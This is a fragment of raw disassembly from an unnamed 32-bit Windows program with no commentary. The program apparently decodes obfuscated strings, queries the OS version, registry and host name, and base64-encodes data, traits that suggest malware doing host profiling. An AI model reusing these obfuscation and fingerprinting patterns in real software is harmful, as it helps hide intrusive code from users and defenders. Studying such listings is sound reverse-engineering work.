add esi, 0EA5Ah
lea edi, [edi+esi+3C0h]
shl edi, 1
mov [ebp+var_2F038], edi
push edi
call sub_445539
add esp, 4
mov [ebp+var_F02A], eax
movzx eax, [ebp+arg_0]
movsx edx, word_54F1CC
add edx, dword_54F1EC
sub edx, 0Bh
cmp eax, edx
jnz short loc_440C05
push offset asc_54FA5F ; "\a"
call sub_43AAF7
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50C928
add esp, 8
jmp loc_440DD8
; ---------------------------------------------------------------------------
loc_440C05: ; CODE XREF: sub_440B82+5Ej
call ds:dword_48A1F0
mov ebx, eax
mov [ebp+var_F02B], bl
push offset byte_54FA3D
call sub_43AAF7
add esp, 4
push eax
lea edi, [ebp+var_EF23]
push edi
call ds:dword_4491A4
add esp, 8
movzx eax, [ebp+arg_0]
movsx edx, word_54F148
add edx, dword_54F16C
sub edx, 4
cmp eax, edx
jnz short loc_440CA6
movsx eax, word_54F194
mov edx, dword_54F0C0
lea eax, [eax+edx+4]
and eax, 0FFh
push eax
lea eax, [ebp+var_F022]
push eax
push [ebp+arg_8]
call sub_441795
add esp, 0Ch
push offset byte_54FA29
call sub_43AAF7
add esp, 4
movzx edi, [ebp+var_F02B]
push edi
lea edi, [ebp+var_F022]
push edi
lea edi, [ebp+var_EF23]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50C928
add esp, 14h
loc_440CA6: ; CODE XREF: sub_440B82+C5j
movzx eax, [ebp+arg_0]
movsx edx, word_54F0B4
add edx, dword_54F124
sub edx, 7
cmp eax, edx
jnz loc_440DD8
movsx eax, word_54F1A4
movsx edx, word_54F0F8
add eax, edx
sub eax, 0Bh
and eax, 0FFh
push eax
lea eax, [ebp+var_F022]
push eax
push dword_54F2C4
call sub_441795
add esp, 0Ch
push offset word_54F9E2
call sub_43AAF7
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
movsx ebx, word_54F148
mov edx, dword_54F134
lea ebx, [ebx+edx+3]
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_F02B]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
movsx esi, word_54F13C
add esi, dword_54F1B8
sub esi, 9
sub edi, esi
push edi
push offset dword_48A200
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_F022]
push edi
lea edi, [ebp+var_EF23]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_50C928
add esp, 38h
mov eax, dword_54F224
cmp [ebp+arg_10], eax
jnz short loc_440DD8
dec eax
cmp [ebp+arg_18], eax
jnz short loc_440DD8
push offset word_54F9BE
call sub_43AAF7
add esp, 4
push offset byte_54CB10
movsx edi, word_54F104
mov esi, dword_54F114
lea edi, [edi+esi+5]
push edi
push [ebp+arg_20]
lea edi, [ebp+var_F022]
push edi
lea edi, [ebp+var_EF23]
push edi
push eax
lea edi, [ebp+var_2F033]
push edi
call ds:dword_50C928
add esp, 1Ch
lea eax, [ebp+var_2F033]
push eax
lea eax, [ebp+var_EE24]
push eax
call ds:dword_44602C
add esp, 8
loc_440DD8: ; CODE XREF: sub_440B82+7Ej
; sub_440B82+13Aj ...
push [ebp+var_2F038]
push [ebp+var_F02A]
movsx eax, word_54F1CC
add eax, dword_54F0E4
sub eax, 0Dh
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
movsx eax, word_54F244
sub eax, 7
push eax
push 0
call ds:dword_50C934
push offset asc_54F9A4 ; "\t"
call sub_43DEC5
add esp, 4
push eax
call ds:dword_44700C
mov [ebp+var_F030], eax
push [ebp+var_F02A]
call ds:dword_44700C
mov [ebp+var_F034], eax
push eax
push [ebp+var_F030]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_F030]
call ds:dword_54DF34
push [ebp+var_F034]
call ds:dword_54DF34
lea esp, [ebp-2F044h]
pop edi
pop esi
pop ebx
leave
retn
sub_440B82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440E73 proc near ; CODE XREF: sub_43D41A+B4p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov esi, [ebp+arg_8]
mov eax, ebx
add eax, 2
mov ecx, 3
mov edx, 0AAAAAAABh
mul edx
shr edx, 1
mov [ebp+var_4], edx
mov edi, edx
shl edi, 2
mov edx, [ebp+arg_C]
dec edx
cmp edi, edx
jbe short loc_440EAB
xor eax, eax
jmp loc_440FAB
; ---------------------------------------------------------------------------
loc_440EAB: ; CODE XREF: sub_440E73+2Fj
push offset a@ ; "@"
call sub_43AAF7
pop ecx
push eax
push offset byte_54DF40
call sub_4455D4
jmp short loc_440EF8
; ---------------------------------------------------------------------------
loc_440EC3: ; CODE XREF: sub_440E73+98j
push esi
push [ebp+arg_0]
call sub_43D98E
add esp, 8
mov eax, dword_54F0C0
inc eax
sub ebx, eax
movsx eax, word_54F1F0
sub eax, 3
add eax, [ebp+arg_0]
mov [ebp+arg_0], eax
mov eax, dword_54F1B8
add eax, dword_54F1D4
sub eax, 8
lea esi, [esi+eax]
loc_440EF8: ; CODE XREF: sub_440E73+4Ej
mov eax, dword_54F0B0
movsx edx, word_54F210
add eax, edx
sub eax, 7
cmp ebx, eax
jnb short loc_440EC3
mov eax, dword_54F1AC
sub eax, 2
cmp ebx, eax
jbe short loc_440F91
push 3
mov eax, dword_54F1B4
sub eax, 4
push eax
lea eax, [ebp+var_7]
push eax
call ds:dword_4CB934
push ebx
push [ebp+arg_0]
lea eax, [ebp+var_7]
push eax
call ds:dword_4CB814
push esi
lea eax, [ebp+var_7]
push eax
call sub_43D98E
add esp, 20h
movsx eax, word_54F164
movsx edx, word_54F09C
add eax, edx
sub eax, 6
cmp ebx, eax
jnz short loc_440F74
movsx eax, word_54F0F8
add eax, dword_54F124
sub eax, 5
mov byte ptr [esi+eax], 3Dh
loc_440F74: ; CODE XREF: sub_440E73+EBj
mov eax, dword_54F1BC
add eax, dword_54F0C0
sub eax, 5
mov byte ptr [esi+eax], 3Dh
movsx eax, word_54F148
lea esi, [eax+esi+3]
loc_440F91: ; CODE XREF: sub_440E73+A4j
movsx eax, word_54F240
sub eax, 8
movsx edx, word_54F210
sub edx, 5
mov [esi+eax], dl
xor eax, eax
inc eax
loc_440FAB: ; CODE XREF: sub_440E73+33j
pop edi
pop esi
pop ebx
leave
retn
sub_440E73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440FB0 proc near ; CODE XREF: sub_444ED7+3Ep
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_10F = byte ptr -10Fh
var_FF = byte ptr -0FFh
push ebp
mov ebp, esp
sub esp, 20Ch
push ebx
push esi
push edi
call sub_44122A
or eax, eax
jz loc_441202
mov [ebp+var_204], 0FFh
lea eax, [ebp+var_204]
push eax
lea eax, [ebp+var_FF]
push eax
call ds:dword_4495A0
mov eax, dword_54F108
add eax, dword_54F234
movsx eax, [ebp+eax+var_10F]
mov edx, dword_54F19C
sub edx, 4
cmp eax, edx
jnz short loc_44100F
xor eax, eax
inc eax
jmp loc_441202
; ---------------------------------------------------------------------------
loc_44100F: ; CODE XREF: sub_440FB0+55j
push offset byte_54F951
call sub_43AAF7
movsx edx, word_54F138
sub edx, 2
push edx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_43DE22
add esp, 10h
mov edx, eax
movsx ecx, word_54F0C4
mov eax, dword_54F12C
lea ecx, [ecx+eax+0FFF1h]
cmp edx, ecx
jz short loc_441055
xor eax, eax
inc eax
jmp loc_441202
; ---------------------------------------------------------------------------
loc_441055: ; CODE XREF: sub_440FB0+9Bj
push offset byte_54F947
call sub_43AAF7
mov edx, dword_54F228
sub edx, 7
push edx
push eax
lea edx, [ebp+var_FF]
push edx
call sub_43DE22
add esp, 10h
mov ecx, dword_54F1F4
add ecx, 0FFF2h
add ecx, dword_54F170
cmp eax, ecx
jz short loc_441097
xor eax, eax
inc eax
jmp loc_441202
; ---------------------------------------------------------------------------
loc_441097: ; CODE XREF: sub_440FB0+DDj
mov [ebp+var_208], 0FFh
lea eax, [ebp+var_208]
push eax
lea eax, [ebp+var_1FE]
push eax
call ds:dword_446040
push offset word_54F942
call sub_43AAF7
push eax
lea edx, [ebp+var_1FE]
push edx
call ds:dword_44602C
mov eax, dword_54F19C
sub eax, 3
push eax
lea eax, [ebp+var_FF]
push eax
lea eax, [ebp+var_1FE]
push eax
call sub_43DE22
add esp, 18h
mov edx, dword_54F15C
add edx, 0FFFBh
cmp eax, edx
jz short loc_441104
xor eax, eax
inc eax
jmp loc_441202
; ---------------------------------------------------------------------------
loc_441104: ; CODE XREF: sub_440FB0+14Aj
call ds:dword_4CC918
mov esi, eax
xor ebx, ebx
mov edi, esi
loc_441110: ; CODE XREF: sub_440FB0+23Bj
movsx eax, word_54F0B4
add eax, dword_54F090
sub eax, 9
movzx eax, byte ptr [edi+eax]
movsx edx, word_54F1C4
movsx ecx, word_54F164
add edx, ecx
sub edx, 9
cmp eax, edx
jz loc_4411F0
mov ecx, edi
or eax, 0FFFFFFFFh
loc_441144: ; CODE XREF: sub_440FB0+199j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_441144
mov [ebp+var_20C], eax
push offset dword_54F938
call sub_43AAF7
add esp, 4
mov edx, dword_54F0DC
add edx, dword_54F12C
sub edx, 0Bh
push edx
push eax
push edi
call sub_43DE22
add esp, 0Ch
mov ecx, dword_54F200
add ecx, 0FFFAh
cmp eax, ecx
jz short loc_44118F
mov ebx, 1
jmp short loc_4411F0
; ---------------------------------------------------------------------------
loc_44118F: ; CODE XREF: sub_440FB0+1D6j
push offset asc_54F927 ; "\r"
call sub_43AAF7
movsx edx, word_54F104
inc edx
push edx
push eax
push edi
call sub_43DE22
add esp, 10h
mov edx, eax
mov ecx, dword_54F0B0
add ecx, 0FFF3h
movsx eax, word_54F1E8
add ecx, eax
cmp edx, ecx
jz short loc_4411CC
xor ebx, ebx
inc ebx
jmp short loc_4411F0
; ---------------------------------------------------------------------------
loc_4411CC: ; CODE XREF: sub_440FB0+215j
movsx eax, word_54F208
movsx edx, word_54F240
add eax, edx
sub eax, 8
mov edx, [ebp+var_20C]
add edx, edi
mov edi, eax
add edi, edx
jmp loc_441110
; ---------------------------------------------------------------------------
loc_4411F0: ; CODE XREF: sub_440FB0+189j
; sub_440FB0+1DDj ...
push esi
call ds:dword_4CB944
or ebx, ebx
jz short loc_441200
xor eax, eax
inc eax
jmp short loc_441202
; ---------------------------------------------------------------------------
loc_441200: ; CODE XREF: sub_440FB0+249j
xor eax, eax
loc_441202: ; CODE XREF: sub_440FB0+13j
; sub_440FB0+5Aj ...
pop edi
pop esi
pop ebx
leave
retn
sub_440FB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441207 proc near ; DATA XREF: sub_43BE1F+Bo
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
mov esi, [ebp+arg_8]
mov eax, offset sub_43C266
mov [esi+0B8h], eax
mov eax, [ebp+arg_4]
mov [esi+0C4h], eax
popa
mov esp, ebp
pop ebp
xor eax, eax
retn
sub_441207 endp
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44122A proc near ; CODE XREF: sub_43DA48+9p
; sub_43ECD2+11p ...
var_94 = dword ptr -94h
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
cmp dword_54F284, 0
jz short loc_441241
xor eax, eax
inc eax
jmp short locret_441270
; ---------------------------------------------------------------------------
loc_441241: ; CODE XREF: sub_44122A+10j
mov [ebp+var_94], 94h
lea eax, [ebp+var_94]
push eax
call ds:dword_54DF28
cmp [ebp+var_84], 2
jnz short loc_44126B
mov dword_54F284, 1
loc_44126B: ; CODE XREF: sub_44122A+35j
mov eax, dword_54F284
locret_441270: ; CODE XREF: sub_44122A+15j
leave
retn
sub_44122A endp
; =============== S U B R O U T I N E =======================================
sub_441272 proc near ; CODE XREF: sub_444ED7+39p
push edi
push offset asc_54F91A ; "\t"
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F260, eax
mov eax, dword_54F168
sub eax, 2
cmp dword_54F260, eax
jnz short loc_4412B1
push offset asc_54F90D ; "\t"
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F260, eax
loc_4412B1: ; CODE XREF: sub_441272+26j
push offset word_54F8FE
call sub_43AAF7
pop ecx
push eax
push dword_54F260
call ds:dword_4491AC
mov ds:dword_4CA220, eax
pop edi
retn
sub_441272 endp
; =============== S U B R O U T I N E =======================================
sub_4412D0 proc near ; DATA XREF: .data:0054F2DCo
mov eax, 80004001h
retn 18h
sub_4412D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4412D8 proc near ; CODE XREF: sub_441843+139p
var_1AC = dword ptr -1ACh
var_1A8 = dword ptr -1A8h
var_1A4 = byte ptr -1A4h
var_1A0 = dword ptr -1A0h
var_19C = byte ptr -19Ch
var_198 = dword ptr -198h
var_193 = dword ptr -193h
var_18F = dword ptr -18Fh
var_18B = dword ptr -18Bh
var_187 = dword ptr -187h
var_183 = dword ptr -183h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1ACh
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
mov byte ptr [edi], 0
mov [ebp+var_193], 94h
lea eax, [ebp+var_193]
push eax
call ds:dword_54DF28
cmp [ebp+var_183], 1
jnz short loc_44131F
push offset dword_54F8F8
call sub_43AAF7
push eax
push edi
call ds:dword_44602C
add esp, 0Ch
loc_44131F: ; CODE XREF: sub_4412D8+30j
cmp [ebp+var_183], 2
jnz short loc_44133D
push offset word_54F8F2
call sub_43AAF7
push eax
push edi
call ds:dword_50C928
add esp, 0Ch
loc_44133D: ; CODE XREF: sub_4412D8+4Ej
push offset word_54F8E6
call sub_43AAF7
push [ebp+var_187]
push [ebp+var_18B]
push [ebp+var_18F]
push eax
lea ebx, [ebp+var_FF]
push ebx
call ds:dword_50C928
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44602C
push offset byte_54F8DF
call sub_43AAF7
mov ebx, dword_54F108
sub ebx, 8
push ebx
movsx ebx, word_54F0FC
add ebx, dword_54F0BC
sub ebx, 2
push ebx
lea ebx, [ebp+var_19C]
push ebx
lea ebx, [ebp+var_19C]
push ebx
lea ebx, [ebp+var_1A0]
push ebx
push 0FFh
lea ebx, [ebp+var_FF]
push ebx
push eax
call ds:dword_4CC900
push offset byte_54F8D7
call sub_43AAF7
push [ebp+var_1A0]
push eax
lea ebx, [ebp+var_FF]
push ebx
call ds:dword_50C928
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44602C
push 0FFh
lea eax, [ebp+var_FF]
push eax
mov eax, dword_54F170
movsx edx, word_54F240
add eax, edx
sub eax, 9
push eax
push 400h
call ds:dword_4495A8
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44602C
push offset word_54F8D2
call sub_43AAF7
push eax
push edi
call ds:dword_44602C
mov [ebp+var_198], 0FFh
push offset byte_54F8A5
call sub_43AAF7
mov [ebp+var_1A8], eax
push offset asc_54F898 ; "\t"
call sub_43AAF7
lea ebx, [ebp+var_1A4]
push ebx
lea ebx, [ebp+var_198]
push ebx
lea ebx, [ebp+var_FF]
push ebx
push eax
mov ebx, [ebp+var_1A8]
push ebx
push 80000002h
call sub_440B18
add esp, 70h
mov esi, eax
movsx eax, word_54F198
cmp esi, eax
jnz short loc_4414A5
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44602C
add esp, 8
jmp short loc_44151D
; ---------------------------------------------------------------------------
loc_4414A5: ; CODE XREF: sub_4412D8+1B8j
mov [ebp+var_198], 0FFh
push offset unk_54F868
call sub_43AAF7
mov [ebp+var_1AC], eax
push offset byte_54F85B
call sub_43AAF7
lea ebx, [ebp+var_1A4]
push ebx
lea ebx, [ebp+var_198]
push ebx
lea ebx, [ebp+var_FF]
push ebx
push eax
mov ebx, [ebp+var_1AC]
push ebx
push 80000002h
call sub_440B18
add esp, 20h
mov esi, eax
movsx eax, word_54F210
movsx edx, word_54F1A4
add eax, edx
sub eax, 0Ah
cmp esi, eax
jnz short loc_44151D
lea eax, [ebp+var_FF]
push eax
push edi
call ds:dword_44602C
add esp, 8
loc_44151D: ; CODE XREF: sub_4412D8+1CBj
; sub_4412D8+232j
pop edi
pop esi
pop ebx
leave
retn
sub_4412D8 endp
; =============== S U B R O U T I N E =======================================
sub_441522 proc near ; CODE XREF: sub_441843+F7p
push ebx
push esi
movsx esi, word_54F164
mov ebx, dword_54F0B0
add ebx, 6E0637BAh
mov ds:dword_54CAF8[esi*4], ebx
mov esi, dword_54F090
add esi, 7
movsx ebx, word_54F104
add esi, ebx
movsx ebx, word_54F0C4
movsx edx, word_54F240
lea ebx, [ebx+edx+1E4E8736h]
mov ds:dword_54CAC0[esi*4], ebx
mov esi, dword_54F0B0
add esi, 2
add esi, dword_54F0EC
mov ebx, dword_54F150
add ebx, 3D357C67h
mov ds:dword_54CAC0[esi*4], ebx
movsx esi, word_54F13C
add esi, dword_54F1F4
mov ebx, dword_54F120
add ebx, 869AE873h
add ebx, dword_54F1E4
mov ds:dword_54CA80[esi*4], ebx
movsx esi, word_54F0F8
add esi, dword_54F238
mov ebx, dword_54F0E0
add ebx, 0BFFD7E26h
mov ds:dword_54CAB0[esi*4], ebx
mov ecx, dword_54F19C
sub ecx, 3
jmp short loc_4415F1
; ---------------------------------------------------------------------------
loc_4415DF: ; CODE XREF: sub_441522+DFj
movsx esi, word_54F190
sub esi, 8
mov ds:dword_54CA80[ecx*4], esi
inc ecx
loc_4415F1: ; CODE XREF: sub_441522+BBj
mov eax, dword_54F184
add eax, 8
add eax, dword_54F1D8
cmp ecx, eax
jb short loc_4415DF
movsx ecx, word_54F0A8
mov esi, dword_54F11C
add esi, 323D4731h
add esi, dword_54F184
mov ds:dword_54CAF4[ecx*4], esi
movsx ecx, word_54F1C4
mov esi, dword_54F0D8
add esi, 505215A3h
add esi, dword_54F22C
mov ds:dword_54CAB8[ecx*4], esi
mov ecx, dword_54F1B0
movsx esi, word_54F118
add esi, 1AB051F1h
mov ds:dword_54CACC[ecx*4], esi
movsx ecx, word_54F1C4
movsx esi, word_54F138
add ecx, esi
mov esi, dword_54F1E4
add esi, 280E85C8h
add esi, dword_54F098
mov ds:dword_54CAB8[ecx*4], esi
movsx ecx, word_54F128
mov esi, dword_54F1EC
add esi, 0E383CCDCh
mov ds:dword_54CADC[ecx*4], esi
mov ecx, dword_54F224
add ecx, dword_54F160
mov esi, dword_54F248
add esi, 0D76ADDDAh
add esi, dword_54F0B8
mov ds:dword_54CAB0[ecx*4], esi
mov ecx, dword_54F0A0
movsx esi, word_54F118
mov ebx, dword_54F0A4
lea esi, [esi+ebx+14F80509h]
mov ds:dword_54CAEC[ecx*4], esi
mov ecx, dword_54F178
mov esi, dword_54F160
add esi, 0CC24407Bh
mov ds:dword_54CAA8[ecx*4], esi
mov ecx, dword_54F134
add ecx, dword_54F1EC
mov esi, ebx
add esi, 1B77E1D9h
movsx ebx, word_54F0CC
add esi, ebx
mov ds:dword_54CAC0[ecx*4], esi
movsx ecx, word_54F138
mov esi, dword_54F124
add esi, 0Dh
add esi, dword_54F168
mov ds:dword_54CA74[ecx*4], esi
movsx ecx, word_54F244
movsx esi, word_54F1A4
mov ebx, dword_54F184
lea esi, [esi+ebx-1E081165h]
mov ds:dword_54CAA4[ecx*4], esi
mov ecx, dword_54F238
add ecx, 6
add ecx, dword_54F0E8
mov esi, dword_54F0D4
add esi, 0D24B644Bh
add esi, dword_54F1BC
mov ds:dword_54CAC0[ecx*4], esi
pop esi
pop ebx
retn
sub_441522 endp
; =============== S U B R O U T I N E =======================================
sub_44178D proc near ; DATA XREF: .data:0054F2F8o
mov eax, 80004001h
retn 8
sub_44178D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441795 proc near ; CODE XREF: sub_440B82+E8p
; sub_440B82+166p
var_7 = byte ptr -7
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov byte ptr [ebx], 0
mov ecx, esi
or eax, 0FFFFFFFFh
loc_4417AB: ; CODE XREF: sub_441795+1Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4417AB
mov [ebp+var_4], eax
movsx eax, word_54F118
mov edi, eax
add edi, dword_54F15C
sub edi, 0Ch
jmp short loc_441839
; ---------------------------------------------------------------------------
loc_4417C9: ; CODE XREF: sub_441795+A7j
movzx eax, [ebp+arg_8]
cmp edi, eax
jb short loc_4417DC
mov al, [esi+edi]
cmp al, 2Fh
jz short loc_4417DC
cmp al, 2Eh
jnz short loc_4417FB
loc_4417DC: ; CODE XREF: sub_441795+3Aj
; sub_441795+41j
push offset byte_54F855
call sub_43AAF7
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_50C928
add esp, 10h
jmp short loc_44182A
; ---------------------------------------------------------------------------
loc_4417FB: ; CODE XREF: sub_441795+45j
push offset dword_54F850
call sub_43AAF7
push eax
push ebx
call ds:dword_44602C
push offset dword_54F848
call sub_43AAF7
movzx edx, byte ptr [esi+edi]
push edx
push eax
lea edx, [ebp+var_7]
push edx
call ds:dword_50C928
add esp, 1Ch
loc_44182A: ; CODE XREF: sub_441795+64j
lea eax, [ebp+var_7]
push eax
push ebx
call ds:dword_44602C
add esp, 8
inc edi
loc_441839: ; CODE XREF: sub_441795+32j
cmp edi, [ebp+var_4]
jb short loc_4417C9
pop edi
pop esi
pop ebx
leave
retn
sub_441795 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441843 proc near ; CODE XREF: sub_444ED7+33Ap
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_267 = byte ptr -267h
var_211 = byte ptr -211h
var_205 = byte ptr -205h
var_203 = byte ptr -203h
var_202 = byte ptr -202h
var_1FB = byte ptr -1FBh
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 26Ch
push edi
lea eax, [ebp+var_104]
push eax
movsx eax, word_54F0FC
sub eax, 2
push eax
mov eax, dword_54F15C
sub eax, 4
push eax
push 1Ch
mov eax, dword_54F224
add eax, dword_54F24C
sub eax, 0Ah
push eax
call ds:dword_489A00
lea eax, [ebp+var_267]
push eax
call sub_43CCB6
lea eax, sub_43D41A
mov ds:dword_50C91C, eax
lea eax, sub_43B535
mov ds:dword_54CA74, eax
lea eax, sub_43D41A
mov ds:dword_48A1E0, eax
lea eax, sub_43BB30
mov ds:dword_48A1F0, eax
push offset byte_54F835
call sub_43AAF7
movsx edi, word_54F13C
add edi, dword_54F204
sub edi, 5
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4490A0
call ds:dword_50C928
push offset word_54F826
call sub_43AAF7
mov edi, dword_54F140
add edi, dword_54F0A4
sub edi, 2
push edi
lea edi, [ebp+var_267]
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CA230
call ds:dword_50C928
lea eax, dword_4490A0
mov ds:dword_4CB820, eax
lea eax, dword_4CB830
mov ds:dword_447FD4, eax
lea eax, sub_43BD8A
mov ds:dword_4899E4, eax
call sub_441522
mov eax, dword_54F178
inc eax
push eax
push offset dword_48A200
call sub_43CDF9
push offset word_54F812
call sub_43AAF7
mov edi, dword_54F1F4
sub edi, 3
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CB830
call ds:dword_50C928
push offset dword_447FE0
call sub_4412D8
push offset byte_54F7FF
call sub_43AAF7
mov edi, dword_54F14C
add edi, 4
push edi
lea edi, [ebp+var_104]
push edi
push eax
push offset dword_4CA440
call ds:dword_50C928
lea eax, sub_43D41A
mov ds:dword_447014, eax
lea eax, dword_4CA440
mov ds:dword_44601C, eax
lea eax, dword_54C970
mov dword_54F2C4, eax
push offset sub_43CDC6
call sub_43CBAF
push offset sub_4447F2
call sub_43CBAF
push offset sub_44293B
call sub_43CBAF
movsx eax, word_54F09C
add eax, dword_54F1F4
sub eax, 5
mov ds:dword_4495D0, eax
mov eax, dword_54F248
add eax, dword_54F1C0
sub eax, 4
push eax
lea eax, [ebp+var_203]
push eax
call sub_441E2E
add esp, 78h
mov eax, dword_54F16C
add eax, dword_54F098
cmp [ebp+eax+var_211], 64h
jnz short loc_441A7B
movsx eax, [ebp+var_202]
mov edx, dword_54F168
add edx, 16h
movsx ecx, word_54F1C4
add edx, ecx
sub eax, edx
mov [ebp+var_268], al
movsx eax, word_54F218
mov ds:dword_4495D0, eax
movzx eax, [ebp+var_268]
push eax
mov eax, dword_54F0A4
add eax, dword_54F1C8
sub eax, 0Fh
push eax
call sub_43D090
add esp, 8
loc_441A7B: ; CODE XREF: sub_441843+1EAj
movsx eax, word_54F104
add eax, dword_54F14C
cmp [ebp+eax+var_205], 67h
jnz short loc_441AD7
mov eax, dword_54F14C
mov edx, eax
sub edx, 2
mov [ebp+eax+var_1FB], dl
lea eax, [ebp+var_202]
push eax
call ds:dword_44701C
mov [ebp+var_26C], eax
push eax
push offset dword_54C970
call sub_443E8D
add esp, 0Ch
mov eax, dword_54F0E0
add eax, dword_54F098
sub eax, 0Fh
mov ds:dword_4495D0, eax
loc_441AD7: ; CODE XREF: sub_441843+24Dj
pop edi
leave
retn
sub_441843 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441ADA proc near ; CODE XREF: sub_43B3AD+FCp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
lea eax, dword_54CA80
mov [ebp+var_48], eax
movsx eax, word_54F244
mov edi, eax
add edi, dword_54F0B8
sub edi, 0Bh
jmp short loc_441B11
; ---------------------------------------------------------------------------
loc_441B03: ; CODE XREF: sub_441ADA+43j
mov edx, edi
shl edx, 1
mov cx, [ebx+edi*2]
mov [ebp+edx+var_40], cx
inc edi
loc_441B11: ; CODE XREF: sub_441ADA+27j
movsx eax, word_54F138
add eax, 1Dh
cmp edi, eax
jb short loc_441B03
mov eax, dword_54F1BC
sub eax, 6
mov [ebp+var_44], eax
loc_441B2A: ; CODE XREF: sub_441ADA+6Bj
inc [ebp+var_44]
mov eax, [ebp+var_48]
movzx eax, word ptr [eax]
cmp [ebp+var_44], eax
jnb short loc_441B47
push ebx
lea eax, [ebp+var_40]
push eax
call sub_43B0C6
add esp, 8
jmp short loc_441B2A
; ---------------------------------------------------------------------------
loc_441B47: ; CODE XREF: sub_441ADA+5Cj
mov esi, dword_54F0B8
sub esi, 4
jmp short loc_441B63
; ---------------------------------------------------------------------------
loc_441B52: ; CODE XREF: sub_441ADA+93j
mov edx, esi
shl edx, 1
mov ecx, [ebp+arg_4]
mov dx, [ebp+edx+var_40]
mov [ecx+esi*2], dx
inc esi
loc_441B63: ; CODE XREF: sub_441ADA+76j
mov eax, dword_54F120
add eax, 18h
cmp esi, eax
jb short loc_441B52
pop edi
pop esi
pop ebx
leave
retn
sub_441ADA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_441B74 proc near ; CODE XREF: sub_444ED7+344p
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
movsx eax, word_54F218
add eax, dword_54F1D4
sub eax, 8
mov [ebp+var_4], eax
jmp short loc_441BB4
; ---------------------------------------------------------------------------
loc_441B92: ; CODE XREF: sub_441B74+4Bj
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
movsx eax, word_54F244
sub eax, 7
mov edx, [ebp+var_20]
mov ds:dword_4CA550[edx], eax
inc [ebp+var_4]
loc_441BB4: ; CODE XREF: sub_441B74+1Cj
mov eax, dword_54F0B0
add eax, 5Fh
cmp [ebp+var_4], eax
jb short loc_441B92
movsx eax, word_54F0D0
sub eax, 6
push eax
call ds:dword_449084
push offset dword_54F2E8
push offset dword_550A88
push 7
mov eax, dword_54F1B0
sub eax, 7
push eax
push offset dword_5509C8
call ds:dword_4495D4
mov ebx, eax
mov eax, dword_54F220
sub eax, 2
cmp ebx, eax
jnz loc_441DAD
lea eax, [ebp+var_C]
push eax
mov eax, dword_54F2E8
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
mov eax, dword_54F204
sub eax, 2
cmp ebx, eax
jnz short loc_441C2E
mov eax, dword_54F220
sub eax, 2
cmp [ebp+var_C], eax
jnz short loc_441C33
loc_441C2E: ; CODE XREF: sub_441B74+ABj
jmp loc_441D34
